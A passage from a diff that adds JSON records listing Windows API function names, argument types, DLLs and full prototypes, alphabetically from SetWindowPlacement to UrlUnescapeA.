WINDOWPLACEMENT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetWindowPlacement(HWND hwnd,CONST WINDOWPLACEMENT * lpwndpl);" + }, + { + "function_name": "SetWindowPos", + "arguments": [ + "HWND", + "HWND", + "int", + "int", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetWindowPos(HWND hwnd, HWND hwndInsertAfter, int x, int y, int cx, int cy, UINT fuFlags);" + }, + { + "function_name": "SetWindowRgn", + "arguments": [ + "HWND", + "HRGN", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "int SetWindowRgn(HWND hWnd, HRGN hRgn, BOOL bRedraw);" + }, + { + "function_name": "SetWindowsHookA", + "arguments": [ + "int", + "HOOKPROC" + ], + "dll_name": "user32.dll", + "full_prototype": "HHOOK SetWindowsHookA(int idHook, HOOKPROC hkprc);" + }, + { + "function_name": "SetWindowsHookExA", + "arguments": [ + "int", + "HOOKPROC", + "HINSTANCE", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HHOOK SetWindowsHookExA(int idHook, HOOKPROC hkprc, HINSTANCE hMod, DWORD dwThreadID);" + }, + { + "function_name": "SetWindowsHookExW", + "arguments": [ + "int", + "HOOKPROC", + "HINSTANCE", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HHOOK SetWindowsHookExW(int idHook, HOOKPROC hkprc, HINSTANCE hMod, DWORD dwThreadID);" + }, + { + "function_name": "SetWindowsHookW", + "arguments": [ + "int", + "HOOKPROC" + ], + "dll_name": "user32.dll", + "full_prototype": "HHOOK SetWindowsHookW(int idHook, HOOKPROC hkprc);" + }, + { + "function_name": "SetWindowTextA", + "arguments": [ + "HWND", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetWindowTextA(HWND hwnd, LPCTSTR lpsz);" + }, + { + "function_name": "SetWindowTextW", + "arguments": [ + "HWND", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetWindowTextW(HWND hwnd, LPCWSTR lpsz);" + }, + { + "function_name": "SetWindowWord", + "arguments": [ + "HWND", + "int", + "WORD" + ], + "dll_name": "user32.dll", + "full_prototype": "WORD SetWindowWord(HWND hwnd, int nIndex, WORD wNewWord);" + }, + { + "function_name": "SetWinMetaFileBits", + "arguments": [ + "UINT", + "CONST BYTE *", + "HDC", + "CONST METAFILEPICT *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HENHMETAFILE SetWinMetaFileBits(UINT cbBuffer,CONST BYTE * lpbBuffer, HDC hdcRef, CONST METAFILEPICT * lpmfp);" + }, + { + "function_name": "SetWindowOrgEx", + "arguments": [ + "HDC", + "int", + "int", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetWindowOrgEx(HDC hdc, int X, int Y, LPPOINT lpPoint);" + }, + { + "function_name": "SetWorldTransform", + "arguments": [ + "HDC", + "CONST XFORM *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetWorldTransform(HDC hdc, CONST XFORM * lpXform);" + }, + { + "function_name": "SHAddToRecentDocs", + "arguments": [ + "UINT", + "LPCVOID" + ], + "dll_name": "shell32.dll", + "full_prototype": "WINSHELLAPI void WINAPI SHAddToRecentDocs(UINT uFlags, LPCVOID pv);" + }, + { + "function_name": "SHAppBarMessage", + "arguments": [ + "DWORD", + "PAPPBARDATA" + ], + "dll_name": "shell32.dll", + "full_prototype": "WINSHELLAPI UINT APIENTRY SHAppBarMessage(DWORD dwMessage, PAPPBARDATA pabd);" + }, + { + "function_name": "SHBrowseForFolder", + "arguments": [ + "LPBROWSEINFO" + ], + "dll_name": "shell32.dll", + "full_prototype": "WINSHELLAPI LPITEMIDLIST WINAPI SHBrowseForFolder(LPBROWSEINFO lpbi);" + }, + { + "function_name": "SHCopyKeyA", + "arguments": [ + "HKEY", + "LPCSTR", + "HKEY", + "DWORD" + ], + "dll_name": "shell32.dll", + "full_prototype": "DWORD SHCopyKeyA(HKEY hKeySrc, LPCSTR lpszSrcSubKey, HKEY hKeyDst, DWORD dwReserved);" + }, + { + "function_name": "ShellAboutA", + "arguments": [ + "HWND", + "LPCTSTR", + "LPCTSTR", + "HICON" + ], + "dll_name": "shell32.dll", + "full_prototype": "int ShellAboutA(HWND hWnd,LPCTSTR szApp,LPCTSTR szOtherStuff, HICON hIcon);" + }, + { + "function_name": "ShellExecuteA", + "arguments": [ + "HWND", + "LPCTSTR", + "LPCTSTR", + "LPTSTR", + "LPCTSTR", + "INT" + ], + "dll_name": "shell32.dll", + "full_prototype": "HINSTANCE ShellExecuteA( HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile, LPTSTR lpParameters, LPCTSTR lpDirectory, INT nShowCmd );" + }, + { + "function_name": "ShellExecuteEx", + "arguments": [ + "LPSHELLEXECUTEINFO" + ], + "dll_name": "shell32.dll", + "full_prototype": "WINSHELLAPI BOOL WINAPI ShellExecuteEx(LPSHELLEXECUTEINFO lpExecInfo);" + }, + { + "function_name": "Shell_NotifyIconA", + "arguments": [ + "DWORD", + "PNOTIFYICONDATA" + ], + "dll_name": "shell32.dll", + "full_prototype": "BOOL Shell_NotifyIconA( DWORD dwMessage, PNOTIFYICONDATA lpdata);" + }, + { + "function_name": "SHEmptyRecycleBinA", + "arguments": [ + "HWND", + "LPCTSTR", + "DWORD" + ], + "dll_name": "shell32.dll", + "full_prototype": "HRESULT SHEmptyRecycleBinA( HWND hwnd, LPCTSTR pszRootPath, DWORD dwFlags);" + }, + { + "function_name": "SHFileOperationA", + "arguments": [ + "LPSHFILEOPSTRUCT" + ], + "dll_name": "shell32.dll", + "full_prototype": "WINSHELLAPI int WINAPI SHFileOperationA(LPSHFILEOPSTRUCT lpFileOp);" + }, + { + "function_name": "SHFormatDrive", + "arguments": [ + "HWND", + "UINT", + "UINT", + "UINT" + ], + "dll_name": "shell32.dll", + "full_prototype": "DWORD SHFormatDrive( HWND hwnd, UINT drive, UINT fmtID, UINT options);" + }, + { + "function_name": "SHGetPathFromIDList", + "arguments": [ + "LPCITEMIDLIST", + "LPSTR" + ], + "dll_name": "shell32.dll", + "full_prototype": "WINSHELLAPI BOOL WINAPI SHGetPathFromIDList(LPCITEMIDLIST pidl, LPSTR pszPath);" + }, + { + "function_name": "ShowCaret", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ShowCaret(HWND hwnd);" + }, + { + "function_name": "ShowCursor", + "arguments": [ + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "int ShowCursor( BOOL bShow);" + }, + { + "function_name": "ShowOwnedPopups", + "arguments": [ + "HWND", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ShowOwnedPopups(HWND hwnd, BOOL fShow);" + }, + { + "function_name": "ShowScrollBar", + "arguments": [ + "HWND", + "int", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ShowScrollBar(HWND hwnd,int fnBar,BOOL fShow);" + }, + { + "function_name": "ShowWindow", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ShowWindow( HWND hwnd, int nCmdShow);" + }, + { + "function_name": "ShowWindowAsync", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ShowWindowAsync(HWND hwnd, int nCmdShow);" + }, + { + "function_name": "SHSetValueA", + "arguments": [ + "HKEY", + "LPCSTR", + "LPCSTR", + "DWORD", + "LPCVOID", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "DWORD SHSetValueA(HKEY hKey, LPCSTR lpszSubKey, LPCSTR lpszValue, DWORD dwType, LPCVOID pvData, DWORD cbData);" + }, + { + "function_name": "SignalObjectAndWait", + "arguments": [ + "HANDLE", + "HANDLE", + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SignalObjectAndWait(HANDLE hObjectToSignal, HANDLE hObjectToWaitOn, DWORD dwMilliseconds, BOOL bAlertable);" + }, + { + "function_name": "SizeofResource", + "arguments": [ + "HINSTANCE", + "HRSRC" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SizeofResource(HINSTANCE hModule, HRSRC hrsrc);" + }, + { + "function_name": "Sleep", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID Sleep(DWORD cMilliseconds);" + }, + { + "function_name": "SleepEx", + "arguments": [ + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SleepEx(DWORD dwTimeout, BOOL fAlertable);" + }, + { + "function_name": "sndPlaySoundA", + "arguments": [ + "LPCSTR", + "UINT" + ], + "dll_name": "winmm.dll", + "full_prototype": "BOOL sndPlaySoundA(LPCSTR lpszSound, UINT fuSound);" + }, + { + "function_name": "SQLAllocConnect", + "arguments": [ + "HENV", + "HDBC FAR *" + ], + "dll_name": "odbc32.dll", + "full_prototype": "RETCODE SQLAllocConnect(HENV henv, HDBC FAR * phdbc);" + }, + { + "function_name": "SQLAllocEnv", + "arguments": [ + "HENV FAR" + ], + "dll_name": "odbc32.dll", + "full_prototype": "RETCODE SQLAllocEnv(HENV FAR *phenv);" + }, + { + "function_name": "SQLAllocStmt", + "arguments": [ + "HDBC", + "HSTMT FAR *" + ], + "dll_name": "odbc32.dll", + "full_prototype": "RETCODE SQLAllocStmt(HDBC hdbc, HSTMT FAR * phstmt);" + }, + { + "function_name": "SQLBindCol", + "arguments": [ + "SQLHSTMT", + "SQLUSMALLINT", + "SQLSMALLINT", + "SQLPOINTER", + "SQLLEN", + "SQLLEN *" + ], + "dll_name": "odbc32.dll", + "full_prototype": "UL_FN_SPEC SQLRETURN UL_FN_MOD SQLBindCol(SQLHSTMT StatementHandle,SQLUSMALLINT ColumnNumber,SQLSMALLINT TargetType,SQLPOINTER TargetValue,SQLLEN BufferLength,SQLLEN * pcbValue);" + }, + { + "function_name": "SQLBindParameter", + "arguments": [ + "SQLHSTMT", + "SQLUSMALLINT", + "SQLSMALLINT", + "SQLSMALLINT", + "SQLSMALLINT", + "SQLUINTEGER", + "SQLSMALLINT", + "SQLPOINTER", + "SQLINTEGER", + "SQLINTEGER *" + ], + "dll_name": "odbc32.dll", + "full_prototype": "SQLRETURN SQLBindParameter( SQLHSTMT StatementHandle, SQLUSMALLINT ParameterNumber, SQLSMALLINT InputOutputType, SQLSMALLINT ValueType, SQLSMALLINT ParameterType, SQLUINTEGER ColumnSize, SQLSMALLINT DecimalDigits, SQLPOINTER ParameterValuePtr, SQLINTEGER BufferLength, SQLINTEGER * StrLen_or_IndPtr);" + }, + { + "function_name": "SQLConfigDataSource", + "arguments": [ + "HWND", + "WORD", + "LPCSTR", + "LPCSTR" + ], + "dll_name": "odbccp32.dll", + "full_prototype": "BOOL SQLConfigDataSource( HWND hwndParent, WORD fRequest, LPCSTR lpszDriver, LPCSTR lpszAttributes);" + }, + { + "function_name": "StartDocA", + "arguments": [ + "HDC", + "CONST DOCINFO *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int StartDocA( HDC hdc, CONST DOCINFO * lpdi);" + }, + { + "function_name": "StartDocW", + "arguments": [ + "HDC", + "CONST DOCINFOW *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int StartDocW(HDC hdc,CONST DOCINFOW * lpdi);" + }, + { + "function_name": "StartPage", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int StartPage(HDC hDC);" + }, + { + "function_name": "StretchBlt", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "HDC", + "int", + "int", + "int", + "int", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL StretchBlt( HDC hdcDest, int nXOriginDest, int nYOriginDest, int nWidthDest, int nHeightDest, HDC hdcSrc, int nXOriginSrc, int nYOriginSrc, int nWidthSrc, int nHeightSrc, DWORD dwRop );" + }, + { + "function_name": "StretchDIBits", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "int", + "int", + "int", + "int", + "CONST VOID", + "CONST BITMAPINFO *", + "UINT", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int StretchDIBits(HDC hdc, int XDest, int YDest, int nDestWidth,int nDestHeight, int XSrc, int YSrc, int nSrcWidth, int nSrcHeight, CONST VOID *lpBits, CONST BITMAPINFO * lpBitsInfo, UINT iUsage, DWORD dwRop);" + }, + { + "function_name": "StrIsIntlEqualA", + "arguments": [ + "BOOL", + "LPCTSTR", + "LPCTSTR", + "INT" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL StrIsIntlEqualA(BOOL fCaseSens, LPCTSTR String1, LPCTSTR String2, INT nChar);" + }, + { + "function_name": "StrNCatA", + "arguments": [ + "LPSTR", + "LPCSTR", + "INT" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "LPSTR StrNCatA(LPSTR lpszStr, LPCSTR lpszCat, INT cchMax);" + }, + { + "function_name": "StrokeAndFillPath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL StrokeAndFillPath(HDC hdc);" + }, + { + "function_name": "StrokePath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL StrokePath(HDC hdc);" + }, + { + "function_name": "StrToIntExA", + "arguments": [ + "LPCSTR", + "DWORD", + "LPINT" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL StrToIntExA( LPCSTR lpszStr, DWORD dwFlags, LPINT lpiRet);" + }, + { + "function_name": "StrTrimA", + "arguments": [ + "LPSTR", + "LPCSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL StrTrimA( LPSTR lpszStr, LPCSTR lpszTrim);" + }, + { + "function_name": "SubtractRect", + "arguments": [ + "LPRECT", + "CONST RECT *", + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SubtractRect(LPRECT lprcDest, CONST RECT * lprcSrc1, CONST RECT * lprcSrc2);" + }, + { + "function_name": "SuspendThread", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SuspendThread(HANDLE hThread);" + }, + { + "function_name": "SwapBuffers", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SwapBuffers(HDC hdc);" + }, + { + "function_name": "SwapMouseButton", + "arguments": [ + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SwapMouseButton(BOOL fSwap);" + }, + { + "function_name": "SwitchDesktop", + "arguments": [ + "HDESK" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SwitchDesktop(HDESK hDesk);" + }, + { + "function_name": "SwitchToFiber", + "arguments": [ + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID SwitchToFiber(LPVOID lpFiber);" + }, + { + "function_name": "SwitchToThread", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SwitchToThread(void);" + }, + { + "function_name": "SystemParametersInfoA", + "arguments": [ + "UINT", + "UINT", + "PVOID", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SystemParametersInfoA(UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni);" + }, + { + "function_name": "SystemParametersInfoW", + "arguments": [ + "UINT", + "UINT", + "PVOID", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SystemParametersInfoW(UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni);" + }, + { + "function_name": "SystemTimeToFileTime", + "arguments": [ + "CONST SYSTEMTIME *", + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SystemTimeToFileTime(CONST SYSTEMTIME * lpst, LPFILETIME lpft);" + }, + { + "function_name": "SystemTimeToTzSpecificLocalTime", + "arguments": [ + "LPTIME_ZONE_INFORMATION", + "LPSYSTEMTIME", + "LPSYSTEMTIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SystemTimeToTzSpecificLocalTime(LPTIME_ZONE_INFORMATION lpTimeZoneInformation, LPSYSTEMTIME lpUniversalTime, LPSYSTEMTIME lpLocalTime);" + }, + { + "function_name": "TabbedTextOutA", + "arguments": [ + "HDC", + "int", + "int", + "LPCTSTR", + "int", + "int", + "LPINT", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG TabbedTextOutA(HDC hdc, int x, int y, LPCTSTR lpString, int nCount, int nTabPositions, LPINT lpnTabStopPositions, int nTabOrigin);" + }, + { + "function_name": "TabbedTextOutW", + "arguments": [ + "HDC", + "int", + "int", + "LPCWSTR", + "int", + "int", + "LPINT", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG TabbedTextOutW(HDC hdc, int x, int y, LPCWSTR lpString, int nCount, int nTabPositions, LPINT lpnTabStopPositions, int nTabOrigin);" + }, + { + "function_name": "TerminateProcess", + "arguments": [ + "HANDLE", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL TerminateProcess(HANDLE hProcess, UINT uExitCode);" + }, + { + "function_name": "TerminateThread", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL TerminateThread(HANDLE hThread, DWORD dwExitCode);" + }, + { + "function_name": "TextOutA", + "arguments": [ + "HDC", + "int", + "int", + "LPCTSTR", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL TextOutA(HDC hdc,int nXStart, int nYStart,LPCTSTR lpString, int cbString);" + }, + { + "function_name": "TextOutW", + "arguments": [ + "HDC", + "int", + "int", + "LPCWSTR", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL TextOutW(HDC hdc,int nXStart, int nYStart,LPCWSTR lpString, int cbString);" + }, + { + "function_name": "TileWindows", + "arguments": [ + "HWND", + "WORD", + "LPCRECT", + "WORD", + "const HWND FAR" + ], + "dll_name": "user32.dll", + "full_prototype": "WORD WINAPI TileWindows( HWND hwndParent, WORD wFlags, LPCRECT lpRect, WORD cChildrenb, const HWND FAR *ahwndChildren );" + }, + { + "function_name": "TlsAlloc", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD TlsAlloc(VOID);" + }, + { + "function_name": "TlsFree", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL TlsFree(DWORD dwTlsIndex);" + }, + { + "function_name": "TlsGetValue", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID TlsGetValue(DWORD dwTlsIndex);" + }, + { + "function_name": "TlsSetValue", + "arguments": [ + "DWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL TlsSetValue(DWORD dwTlsIndex,LPVOID lpvTlsValue);" + }, + { + "function_name": "ToAscii", + "arguments": [ + "UINT", + "UINT", + "PBYTE", + "LPWORD", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int ToAscii(UINT uVirtKey,UINT uScanCode, PBYTE lpbKeyState, LPWORD lpwTransKey, UINT fuState);" + }, + { + "function_name": "ToAsciiEx", + "arguments": [ + "UINT", + "UINT", + "BYTE", + "DWORD", + "UINT", + "HKL" + ], + "dll_name": "user32.dll", + "full_prototype": "int ToAsciiEx(UINT uVirtKey, UINT ScanCode,BYTE *lpbKeyState, DWORD *lpdwTransKey, UINT fuState, HKL hkl);" + }, + { + "function_name": "TouchFileTimes", + "arguments": [ + "HANDLE", + "PSYSTEMTIME" + ], + "dll_name": "imagehlp.dll", + "full_prototype": "BOOL TouchFileTimes( HANDLE FileHandle, PSYSTEMTIME pSystemTime);" + }, + { + "function_name": "ToUnicode", + "arguments": [ + "UINT", + "UINT", + "PBYTE", + "LPWSTR", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int ToUnicode(UINT wVirtKey, UINT wScanCode, PBYTE lpKeyState, LPWSTR pwszBuff, int cchBuff, UINT wFlags);" + }, + { + "function_name": "ToUnicodeEx", + "arguments": [ + "UINT", + "UINT", + "const BYTE", + "LPWSTR", + "int", + "UINT", + "HKL" + ], + "dll_name": "user32.dll", + "full_prototype": "int ToUnicodeEx(UINT wVirtKey, UINT wScanCode, const BYTE *lpKeyState, LPWSTR pwszBuff, int cchBuff, UINT wFlags, HKL dwhkl);" + }, + { + "function_name": "TrackMouseEvent", + "arguments": [ + "LPTRACKMOUSEEVENT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL TrackMouseEvent(LPTRACKMOUSEEVENT lpEventTrack);" + }, + { + "function_name": "TrackPopupMenu", + "arguments": [ + "HMENU", + "UINT", + "int", + "int", + "int", + "HWND", + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL TrackPopupMenu( HMENU hMenu, UINT uFlags, int x, int y, int nReserved, HWND hWnd, CONST RECT * prcRect );" + }, + { + "function_name": "TrackPopupMenuEx", + "arguments": [ + "HMENU", + "UINT", + "int", + "int", + "HWND", + "LPTPMPARAMS" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL TrackPopupMenuEx(HMENU hmenu, UINT fuFlags, int x, int y, HWND hwnd, LPTPMPARAMS lptpm);" + }, + { + "function_name": "TransactNamedPipe", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "LPVOID", + "DWORD", + "LPDWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL TransactNamedPipe(HANDLE hNamedPipe, LPVOID lpvWriteBuf, DWORD cbWriteBuf, LPVOID lpvReadBuf,DWORD cbReadBuf, LPDWORD lpcbRead, LPOVERLAPPED lpo);" + }, + { + "function_name": "TranslateAcceleratorA", + "arguments": [ + "HWND", + "HACCEL", + "LPMSG" + ], + "dll_name": "user32.dll", + "full_prototype": "int TranslateAcceleratorA(HWND hwnd, HACCEL haccl, LPMSG lpmsg);" + }, + { + "function_name": "TranslateAcceleratorW", + "arguments": [ + "HWND", + "HACCEL", + "LPMSG" + ], + "dll_name": "user32.dll", + "full_prototype": "int TranslateAcceleratorW(HWND hwnd, HACCEL haccl, LPMSG lpmsg);" + }, + { + "function_name": "TranslateCharsetInfo", + "arguments": [ + "DWORD FAR *", + "LPCHARSETINFO", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT TranslateCharsetInfo(DWORD FAR * lpSrc, LPCHARSETINFO lpCs, DWORD dwFlags);" + }, + { + "function_name": "TranslateMDISysAccel", + "arguments": [ + "HWND", + "LPMSG" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL TranslateMDISysAccel(HWND hwndClient,LPMSG lpmsg);" + }, + { + "function_name": "TranslateMessage", + "arguments": [ + "CONST MSG" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL TranslateMessage(CONST MSG *lpmsg);" + }, + { + "function_name": "TransmitCommChar", + "arguments": [ + "HANDLE", + "char" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL TransmitCommChar(HANDLE hCommDev, char chTransmit);" + }, + { + "function_name": "TryEnterCriticalSection", + "arguments": [ + "LPCRITICAL_SECTION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection);" + }, + { + "function_name": "UnhandledExceptionFilter", + "arguments": [ + "STRUCT _EXCEPTION_POINTERS *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS * lpexpExceptionInfo);" + }, + { + "function_name": "UnhookWindowsHook", + "arguments": [ + "int", + "HOOKPROC" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnhookWindowsHook(int nCode, HOOKPROC hkprc);" + }, + { + "function_name": "UnhookWindowsHookEx", + "arguments": [ + "HHOOK" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnhookWindowsHookEx(HHOOK hhook);" + }, + { + "function_name": "UnionRect", + "arguments": [ + "LPRECT", + "CONST RECT", + "CONST RECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnionRect(LPRECT lprcDst, CONST RECT *lprcSrc1, CONST RECT *lprcSrc2);" + }, + { + "function_name": "UnloadKeyboardLayout", + "arguments": [ + "HKL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnloadKeyboardLayout(HKL hkl);" + }, + { + "function_name": "UnlockFile", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL UnlockFile(HANDLE hFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD cbUnlockLow,DWORD cbUnlockHigh);" + }, + { + "function_name": "UnlockFileEx", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL UnlockFileEx(HANDLE hFile, DWORD dwReserved, DWORD nNumberOfBytesToUnlockLow,DWORD nNumberOfBytesToUnlockHigh, LPOVERLAPPED lpOverlapped);" + }, + { + "function_name": "UnmapViewOfFile", + "arguments": [ + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL UnmapViewOfFile(LPVOID lpBaseAddress);" + }, + { + "function_name": "UnpackDDElParam", + "arguments": [ + "UINT", + "LONG", + "PUINT", + "PUINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnpackDDElParam(UINT uMsg, LONG lParam, PUINT puLow, PUINT puHigh);" + }, + { + "function_name": "UnrealizeObject", + "arguments": [ + "HGDIOBJ" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL UnrealizeObject(HGDIOBJ hgdiobj);" + }, + { + "function_name": "UnregisterClassA", + "arguments": [ + "LPCTSTR", + "HINSTANCE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnregisterClassA(LPCTSTR lpszClass, HINSTANCE hinst);" + }, + { + "function_name": "UnregisterClassW", + "arguments": [ + "LPCWSTR", + "HINSTANCE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnregisterClassW(LPCWSTR lpszClass, HINSTANCE hinst);" + }, + { + "function_name": "UnregisterDeviceNotification", + "arguments": [ + "HDEVNOTIFY" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnregisterDeviceNotification(HDEVNOTIFY Handle);" + }, + { + "function_name": "UnregisterHotKey", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UnregisterHotKey(HWND hwnd, int idHotKey);" + }, + { + "function_name": "UpdateColors", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL UpdateColors(HDC hdc);" + }, + { + "function_name": "UpdateResourceA", + "arguments": [ + "HANDLE", + "LPCTSTR", + "LPCTSTR", + "WORD", + "LPVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL UpdateResourceA(HANDLE hUpdateFile, LPCTSTR lpszType, LPCTSTR lpszName, WORD IDLanguage, LPVOID lpvData, DWORD cbData);" + }, + { + "function_name": "UpdateResourceW", + "arguments": [ + "HANDLE", + "LPCWSTR", + "LPCWSTR", + "WORD", + "LPVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL UpdateResourceW(HANDLE hUpdate, LPCWSTR lpType, LPCWSTR lpName, WORD wLanguage, LPVOID lpData, DWORD cbData);" + }, + { + "function_name": "UpdateWindow", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL UpdateWindow(HWND hwnd);" + }, + { + "function_name": "UrlCanonicalizeA", + "arguments": [ + "LPCSTR", + "LPSTR", + "LPDWORD", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "HRESULT UrlCanonicalizeA( LPCSTR pszUrl, LPSTR pszCanonicalized, LPDWORD pcchCanonicalized, DWORD dwFlags);" + }, + { + "function_name": "UrlCombineA", + "arguments": [ + "LPCSTR", + "LPCSTR", + "LPSTR", + "LPDWORD", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "HRESULT UrlCombineA( LPCSTR pszBase, LPCSTR pszRelative, LPSTR pszCombined, LPDWORD pcchCombined, DWORD dwFlags);" + }, + { + "function_name": "UrlCreateFromPathA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "LPDWORD", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "HRESULT UrlCreateFromPathA( LPCTSTR pszPath, LPTSTR pszUrl, LPDWORD pcchUrl, DWORD dwReserved);" + }, + { + "function_name": "UrlEscapeA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "LPDWORD", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "HRESULT UrlEscapeA( LPCTSTR pszURL, LPTSTR pszEscaped, LPDWORD pcchEscaped, DWORD dwFlags);" + }, + { + "function_name": "UrlGetPartA", + "arguments": [ + "LPCSTR", + "LPSTR", + "LPDWORD", + "DWORD", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "HRESULT UrlGetPartA( LPCSTR pszIn, LPSTR pszOut, LPDWORD pcchOut, DWORD dwPart, DWORD dwFlags );" + }, + { + "function_name": "UrlIsOpaqueA", + "arguments": [ + "LPCSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL UrlIsOpaqueA( LPCSTR pszUrl);" + }, + { + "function_name": "UrlUnescapeA", + "arguments": [ + "LPSTR", + "LPSTR", + "LPDWORD", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "HRESULT UrlUnescapeA( LPSTR pszUrl, LPSTR pszUnescaped, LPDWORD 